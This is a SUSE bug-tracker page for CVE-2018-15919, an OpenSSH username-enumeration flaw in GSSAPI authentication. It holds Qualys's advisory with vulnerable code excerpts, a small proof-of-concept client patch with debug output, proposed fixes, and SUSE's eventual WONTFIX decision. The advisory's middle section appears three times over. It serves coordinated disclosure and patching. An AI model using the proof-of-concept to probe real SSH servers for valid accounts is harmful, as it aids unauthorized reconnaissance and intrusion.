Bug 1106163 - (CVE-2018-15919) VUL-1: CVE-2018-15919: openssh: user enumeration via auth2-gss.c
(CVE-2018-15919)
VUL-1: CVE-2018-15919: openssh: user enumeration via auth2-gss.c
Status: RESOLVED WONTFIX
Classification: Novell Products
Product: SUSE Security Incidents
Classification: Novell Products
Component: Incidents
unspecified
Other Other
: P4 - Low : Normal
: ---
Assigned To: Hans Petter Jansson
Security Team bot
https://smash.suse.de/issue/213391/
CVSSv3:SUSE:CVE-2018-15919:5.3:(AV:N/...
:
Depends on:
Blocks:
  Show dependency treegraph
 
Reported: 2018-08-28 06:26 UTC by Marcus Meissner
Modified: 2019-08-13 22:34 UTC (History)
15 users (show)

See Also:
Found By: ---
Services Priority:
Business Priority:
Blocker: ---
Marketing QA Status: ---
IT Deployment: ---


Attachments
Patch for user enumeration via auth2-gss.c (1.26 KB, patch)
2019-03-01 00:58 UTC, Jason Sikes
Details | Diff

Note You need to log in before you can comment on or make changes to this bug.
Description Marcus Meissner 2018-08-28 06:26:40 UTC
reported by qualys

Hi all,

On August 24, 2018, we sent the following email to openssh@openssh.com
and distros@vs.openwall.org. About the disclosure of this issue, Solar
Designer wrote "I'd be even happier with it being made public right away
if that's OK with both the OpenSSH team and Qualys", and Theo de Raadt
wrote "More than reporting to us, I urge you to publish it"; for a
detailed explanation, please refer to Damien Miller's post:

http://www.openwall.com/lists/oss-security/2018/08/24/1

We thank the OpenSSH developers and the members of
distros@vs.openwall.org for their constructive comments, suggestions,
and feedback.

========================================================================

While properly reviewing the now-famous OpenSSH commit
https://github.com/openbsd/src/commit/779974d35b4859c07bc3cb8a12c74b43b0a7d1e0
we discovered another username-enumeration vulnerability in auth2-gss.c
(enabled by default on at least Fedora, CentOS, and Red Hat Enterprise
Linux).

This vulnerability affects OpenSSH versions from 5.9 (September 6, 2011)
to the recently released 7.8 (August 24, 2018), inclusive. It is quite
similar to CVE-2018-15473 (it is not a timing attack), but it is also
markedly different (code excerpts from OpenSSH 7.8p1):

 61 static int
 62 userauth_gssapi(struct ssh *ssh)
 63 {
...
106         if (!authctxt->valid || authctxt->user == NULL) {
107                 debug2("%s: disabled because of invalid user", __func__);
108                 free(doid);
109                 return (0);
110         }
111 
112         if (GSS_ERROR(PRIVSEP(ssh_gssapi_server_ctx(&ctxt, &goid)))) {
113                 if (ctxt != NULL)
114                         ssh_gssapi_delete_ctx(&ctxt);
115                 free(doid);
116                 authctxt->server_caused_failure = 1;
117                 return (0);
118         }
...
123         if ((r = sshpkt_start(ssh, SSH2_MSG_USERAUTH_GSSAPI_RESPONSE)) != 0 ||
124             (r = sshpkt_put_string(ssh, doid, len)) != 0 ||
125             (r = sshpkt_send(ssh)) != 0)
...
132         authctxt->postponed = 1;
133 
134         return (0);
135 }

- If this first step of the GSSAPI authentication succeeds, then
  "postponed" is set to 1 (at line 132) and the server sends a packet
  SSH2_MSG_USERAUTH_GSSAPI_RESPONSE to the attacker (at lines 123-125):
  in this particular case, the user is necessarily valid (it exists).

- Otherwise "postponed" is not set, and userauth_gssapi() returns 0 at
  line 117 or 109: in both cases, the server's userauth_finish() sends a
  packet SSH2_MSG_USERAUTH_FAILURE to the attacker, who should therefore
  be unable to distinguish between a valid and invalid user. However, if
  the user is valid, then "server_caused_failure" is set (at line 116);
  if the user is invalid, it is not set. Consequently, the behavior of
  userauth_finish() changes:

340 void
341 userauth_finish(struct ssh *ssh, int authenticated, const char *method,
342     const char *submethod)
343 {
...
410                 if (!partial && !authctxt->server_caused_failure &&
411                     (authctxt->attempt > 1 || strcmp(method, "none") != 0))
412                         authctxt->failures++;
413                 if (authctxt->failures >= options.max_authtries) {
...
417                         auth_maxtries_exceeded(authctxt);
418                 }
...
422                 packet_start(SSH2_MSG_USERAUTH_FAILURE);
423                 packet_put_cstring(methods);
424                 packet_put_char(partial);
425                 packet_send();
...
429 }

  . if the user is valid, then "server_caused_failure" is set,
    "failures" is not incremented, and the attacker can attempt the
    GSSAPI authentication indefinitely;

  . if the user is invalid, then "server_caused_failure" is not set,
    "failures" is incremented (at line 412), and the server will
    disconnect the attacker (at line 417) after max_authtries
    authentication attempts (6, by default).
...
132         authctxt->postponed = 1;
133 
134         return (0);
135 }

- If this first step of the GSSAPI authentication succeeds, then
  "postponed" is set to 1 (at line 132) and the server sends a packet
  SSH2_MSG_USERAUTH_GSSAPI_RESPONSE to the attacker (at lines 123-125):
  in this particular case, the user is necessarily valid (it exists).

- Otherwise "postponed" is not set, and userauth_gssapi() returns 0 at
  line 117 or 109: in both cases, the server's userauth_finish() sends a
  packet SSH2_MSG_USERAUTH_FAILURE to the attacker, who should therefore
  be unable to distinguish between a valid and invalid user. However, if
  the user is valid, then "server_caused_failure" is set (at line 116);
  if the user is invalid, it is not set. Consequently, the behavior of
  userauth_finish() changes:

340 void
341 userauth_finish(struct ssh *ssh, int authenticated, const char *method,
342     const char *submethod)
343 {
...
410                 if (!partial && !authctxt->server_caused_failure &&
411                     (authctxt->attempt > 1 || strcmp(method, "none") != 0))
412                         authctxt->failures++;
413                 if (authctxt->failures >= options.max_authtries) {
...
417                         auth_maxtries_exceeded(authctxt);
418                 }
...
422                 packet_start(SSH2_MSG_USERAUTH_FAILURE);
423                 packet_put_cstring(methods);
424                 packet_put_char(partial);
425                 packet_send();
...
429 }

  . if the user is valid, then "server_caused_failure" is set,
    "failures" is not incremented, and the attacker can attempt the
    GSSAPI authentication indefinitely;

  . if the user is invalid, then "server_caused_failure" is not set,
    "failures" is incremented (at line 412), and the server will
    disconnect the attacker (at line 417) after max_authtries
    authentication attempts (6, by default).
...
132         authctxt->postponed = 1;
133 
134         return (0);
135 }

- If this first step of the GSSAPI authentication succeeds, then
  "postponed" is set to 1 (at line 132) and the server sends a packet
  SSH2_MSG_USERAUTH_GSSAPI_RESPONSE to the attacker (at lines 123-125):
  in this particular case, the user is necessarily valid (it exists).

- Otherwise "postponed" is not set, and userauth_gssapi() returns 0 at
  line 117 or 109: in both cases, the server's userauth_finish() sends a
  packet SSH2_MSG_USERAUTH_FAILURE to the attacker, who should therefore
  be unable to distinguish between a valid and invalid user. However, if
  the user is valid, then "server_caused_failure" is set (at line 116);
  if the user is invalid, it is not set. Consequently, the behavior of
  userauth_finish() changes:

340 void
341 userauth_finish(struct ssh *ssh, int authenticated, const char *method,
342     const char *submethod)
343 {
...
410                 if (!partial && !authctxt->server_caused_failure &&
411                     (authctxt->attempt > 1 || strcmp(method, "none") != 0))
412                         authctxt->failures++;
413                 if (authctxt->failures >= options.max_authtries) {
...
417                         auth_maxtries_exceeded(authctxt);
418                 }
...
422                 packet_start(SSH2_MSG_USERAUTH_FAILURE);
423                 packet_put_cstring(methods);
424                 packet_put_char(partial);
425                 packet_send();
...
429 }

  . if the user is valid, then "server_caused_failure" is set,
    "failures" is not incremented, and the attacker can attempt the
    GSSAPI authentication indefinitely;

  . if the user is invalid, then "server_caused_failure" is not set,
    "failures" is incremented (at line 412), and the server will
    disconnect the attacker (at line 417) after max_authtries
    authentication attempts (6, by default).

Below is a very crude proof-of-concept (a patch for the client in
OpenSSH 7.8p1):

------------------------------------------------------------------------

diff -pruN openssh-7.8p1/gss-genr.c openssh-7.8p1-poc/gss-genr.c
--- openssh-7.8p1/gss-genr.c    2018-08-22 22:41:42.000000000 -0700
+++ openssh-7.8p1-poc/gss-genr.c        2018-08-22 22:41:42.000000000 -0700
@@ -286,6 +286,7 @@ ssh_gssapi_check_mechanism(Gssctxt **ctx
 
        ssh_gssapi_build_ctx(ctx);
        ssh_gssapi_set_oid(*ctx, oid);
+       return 1;
        major = ssh_gssapi_import_name(*ctx, host);
        if (!GSS_ERROR(major)) {
                major = ssh_gssapi_init_ctx(*ctx, 0, GSS_C_NO_BUFFER, &token, 
diff -pruN openssh-7.8p1/sshconnect2.c openssh-7.8p1-poc/sshconnect2.c
--- openssh-7.8p1/sshconnect2.c 2018-08-22 22:41:42.000000000 -0700
+++ openssh-7.8p1-poc/sshconnect2.c     2018-08-22 22:41:42.000000000 -0700
@@ -701,6 +701,7 @@ userauth_gssapi(Authctxt *authctxt)
        ssh_dispatch_set(ssh, SSH2_MSG_USERAUTH_GSSAPI_TOKEN, &input_gssapi_token);
        ssh_dispatch_set(ssh, SSH2_MSG_USERAUTH_GSSAPI_ERROR, &input_gssapi_error);
        ssh_dispatch_set(ssh, SSH2_MSG_USERAUTH_GSSAPI_ERRTOK, &input_gssapi_errtok);
+       return 1;
 
        mech++; /* Move along to next candidate */
 
------------------------------------------------------------------------

For example, on Fedora, "adm" is a valid user, but "pocorgtfo" is not:

------------------------------------------------------------------------

./ssh -v -F /etc/ssh/ssh_config -o PreferredAuthentications=gssapi-with-mic adm@127.0.0.1
...
debug1: Authentications that can continue: publickey,gssapi-with-mic,password
debug1: Next authentication method: gssapi-with-mic
debug1: Authentications that can continue: publickey,gssapi-with-mic,password
debug1: Authentications that can continue: publickey,gssapi-with-mic,password
debug1: Authentications that can continue: publickey,gssapi-with-mic,password
debug1: Authentications that can continue: publickey,gssapi-with-mic,password
debug1: Authentications that can continue: publickey,gssapi-with-mic,password
debug1: Authentications that can continue: publickey,gssapi-with-mic,password
debug1: Authentications that can continue: publickey,gssapi-with-mic,password
debug1: Authentications that can continue: publickey,gssapi-with-mic,password
debug1: Authentications that can continue: publickey,gssapi-with-mic,password
...

./ssh -v -F /etc/ssh/ssh_config -o PreferredAuthentications=gssapi-with-mic pocorgtfo@127.0.0.1
...
debug1: Authentications that can continue: publickey,gssapi-with-mic,password
debug1: Next authentication method: gssapi-with-mic
debug1: Authentications that can continue: publickey,gssapi-with-mic,password
debug1: Authentications that can continue: publickey,gssapi-with-mic,password
debug1: Authentications that can continue: publickey,gssapi-with-mic,password
debug1: Authentications that can continue: publickey,gssapi-with-mic,password
debug1: Authentications that can continue: publickey,gssapi-with-mic,password
Received disconnect from 127.0.0.1 port 22:2: Too many authentication failures
Disconnected from 127.0.0.1 port 22

------------------------------------------------------------------------

We understand that the OpenSSH developers do not want to treat such a
username enumeration (or "oracle") as a vulnerability (although it is
quite useful in an attacker's toolbox), but how should we coordinate
this disclosure, then? OpenSSH developers, distros, please advise.

Thank you very much! With best regards,

-- 
the Qualys Security Advisory team
Comment 1 Marcus Meissner 2018-08-28 07:57:34 UTC
CVE-2018-15919
Comment 12 Swamp Workflow Management 2018-10-29 11:09:43 UTC
SUSE-SU-2018:3540-1: An update that solves 5 vulnerabilities and has two fixes is now available.

Category: security (important)
Bug References: 1016370,1065000,1076957,1105010,1105180,1106163,1106726
CVE References: CVE-2016-10012,CVE-2016-10708,CVE-2017-15906,CVE-2018-15473,CVE-2018-15919
Sources used:
SUSE Linux Enterprise Server 11-SP3-LTSS (src):    openssh-6.2p2-0.41.5.1, openssh-askpass-gnome-6.2p2-0.41.5.1
SUSE Linux Enterprise Point of Sale 11-SP3 (src):    openssh-6.2p2-0.41.5.1, openssh-askpass-gnome-6.2p2-0.41.5.1
SUSE Linux Enterprise Debuginfo 11-SP3 (src):    openssh-6.2p2-0.41.5.1, openssh-askpass-gnome-6.2p2-0.41.5.1
Comment 13 Jason Sikes 2018-10-31 15:12:37 UTC
Patches created and submitted.
Comment 14 Marcus Meissner 2018-10-31 15:22:27 UTC
reopen for tracking and reasign to security-team
Comment 15 Swamp Workflow Management 2018-11-08 20:15:30 UTC
SUSE-SU-2018:3686-1: An update that solves two vulnerabilities and has three fixes is now available.

Category: security (moderate)
Bug References: 1081947,1091396,1105010,1106163,964336
CVE References: CVE-2018-15473,CVE-2018-15919
Sources used:
SUSE Linux Enterprise Module for Server Applications 15 (src):    openssh-7.6p1-9.3.1
SUSE Linux Enterprise Module for Open Buildservice Development Tools 15 (src):    openssh-7.6p1-9.3.1
SUSE Linux Enterprise Module for Desktop Applications 15 (src):    openssh-askpass-gnome-7.6p1-9.3.1
SUSE Linux Enterprise Module for Basesystem 15 (src):    openssh-7.6p1-9.3.1
Comment 16 Swamp Workflow Management 2018-11-14 17:11:25 UTC
SUSE-SU-2018:3768-1: An update that solves two vulnerabilities and has two fixes is now available.

Category: security (moderate)
Bug References: 1091396,1105010,1106163,964336
CVE References: CVE-2018-15473,CVE-2018-15919
Sources used:
SUSE Linux Enterprise Server 11-SECURITY (src):    openssh-openssl1-6.6p1-19.6.1
Comment 17 Swamp Workflow Management 2018-11-16 20:10:44 UTC
SUSE-SU-2018:3776-1: An update that solves two vulnerabilities and has three fixes is now available.

Category: security (moderate)
Bug References: 1091396,1105010,1106163,964336,982273
CVE References: CVE-2018-15473,CVE-2018-15919
Sources used:
SUSE Linux Enterprise Server 12-SP1-LTSS (src):    openssh-6.6p1-54.18.1, openssh-askpass-gnome-6.6p1-54.18.1
SUSE Linux Enterprise Server 12-LTSS (src):    openssh-6.6p1-54.18.1, openssh-askpass-gnome-6.6p1-54.18.1
Comment 18 Swamp Workflow Management 2018-11-16 20:13:48 UTC
SUSE-SU-2018:3781-1: An update that solves two vulnerabilities and has three fixes is now available.

Category: security (moderate)
Bug References: 1091396,1105010,1106163,964336,982273
CVE References: CVE-2018-15473,CVE-2018-15919
Sources used:
SUSE Linux Enterprise Server 11-SP4 (src):    openssh-6.6p1-36.6.1, openssh-askpass-gnome-6.6p1-36.6.1
SUSE Linux Enterprise Debuginfo 11-SP4 (src):    openssh-6.6p1-36.6.1, openssh-askpass-gnome-6.6p1-36.6.1
Comment 19 Swamp Workflow Management 2018-11-16 23:15:15 UTC
openSUSE-SU-2018:3801-1: An update that solves two vulnerabilities and has three fixes is now available.

Category: security (moderate)
Bug References: 1081947,1091396,1105010,1106163,964336
CVE References: CVE-2018-15473,CVE-2018-15919
Sources used:
openSUSE Leap 15.0 (src):    openssh-7.6p1-lp150.8.3.1, openssh-askpass-gnome-7.6p1-lp150.8.3.1
Comment 21 Vítězslav Čížek 2018-11-21 12:01:42 UTC
The fix for CVE-2018-15919 was reverted because of bug 1115654.
Comment 29 Jason Sikes 2019-03-01 00:58:10 UTC
Created attachment 798506 [details]
Patch for user enumeration via auth2-gss.c
Comment 30 Jason Sikes 2019-03-01 07:30:25 UTC
Patch has been created and submitted to upstream for validation.
Comment 31 Vítězslav Čížek 2019-03-05 09:12:56 UTC
(In reply to Jason Sikes from comment #30)
> Patch has been created and submitted to upstream for validation.
https://bugzilla.mindrot.org/show_bug.cgi?id=2975
Comment 33 zhijian li 2019-04-16 08:21:15 UTC
Is it possible that just set "server_caused_failure = 1" when hit invalid user simply ? 
```
diff --git a/auth2-gss.c b/auth2-gss.c
index 9351e04..a05656e 100644
--- a/auth2-gss.c
+++ b/auth2-gss.c
@@ -105,8 +105,7 @@ userauth_gssapi(struct ssh *ssh)
 
        if (!authctxt->valid || authctxt->user == NULL) {
                debug2("%s: disabled because of invalid user", __func__);
-               free(doid);
-               return (0);
+               authctxt->server_caused_failure = 1;
        }

```
Comment 34 Swamp Workflow Management 2019-04-29 10:17:40 UTC
SUSE-SU-2018:3776-2: An update that solves two vulnerabilities and has three fixes is now available.

Category: security (moderate)
Bug References: 1091396,1105010,1106163,964336,982273
CVE References: CVE-2018-15473,CVE-2018-15919
Sources used:
SUSE Linux Enterprise Server for SAP 12-SP1 (src):    openssh-6.6p1-54.18.1, openssh-askpass-gnome-6.6p1-54.18.1

NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.
Comment 37 Jason Sikes 2019-05-24 08:08:05 UTC
(In reply to zhijian li from comment #33)
> Is it possible that just set "server_caused_failure = 1" when hit invalid
> user simply ? 
> ```
> diff --git a/auth2-gss.c b/auth2-gss.c
> index 9351e04..a05656e 100644
> --- a/auth2-gss.c
> +++ b/auth2-gss.c
> @@ -105,8 +105,7 @@ userauth_gssapi(struct ssh *ssh)
>  
>         if (!authctxt->valid || authctxt->user == NULL) {
>                 debug2("%s: disabled because of invalid user", __func__);
> -               free(doid);
> -               return (0);
> +               authctxt->server_caused_failure = 1;
>         }
> 
> ```

Then server_caused_failure AND postponed are set to one (true) in auth2-gss.c:userauth_gssapi.

Then auth2.c:input_userauth_request will set both to zero (false).

This vulnerability has two parts:

1) When a valid username is presented, sshd responds with SSH_MSG_USERAUTH_INFO_REQUEST. Otherwise, sshd responds with SSH_MSG_USERAUTH_FAILURE.

Your patch fixes this.

2) The failure count is not incremented when a valid username is presented but valid credentials are not.

It doesn't fix this, unfortunately.

In your solution, when a valid username is presented, postponed is still set to 1.

Then in auth2.c:userauth_finish() there is this:

>	if (authctxt->postponed)
>		return;

This causes sshd to leave the function before the number of failures is incremented and tested. Thus, sshd will allow the attacker to repeat the authentication attempt indefinitely as long as the username is valid.
Comment 41 Marcus Meissner 2019-06-05 14:39:40 UTC
perl bin/addnote CVE-2018-15919 "The upstream openssh project does not consider this a security issue. Only existance of users can be determined, users cannot be enumerated by this issue. SUSE is currently not planning to fix this problem."
Comment 42 Regis Fauquet 2019-07-31 15:47:20 UTC
Please close this bug.  TD closed the SR.  Thanks for the feedback.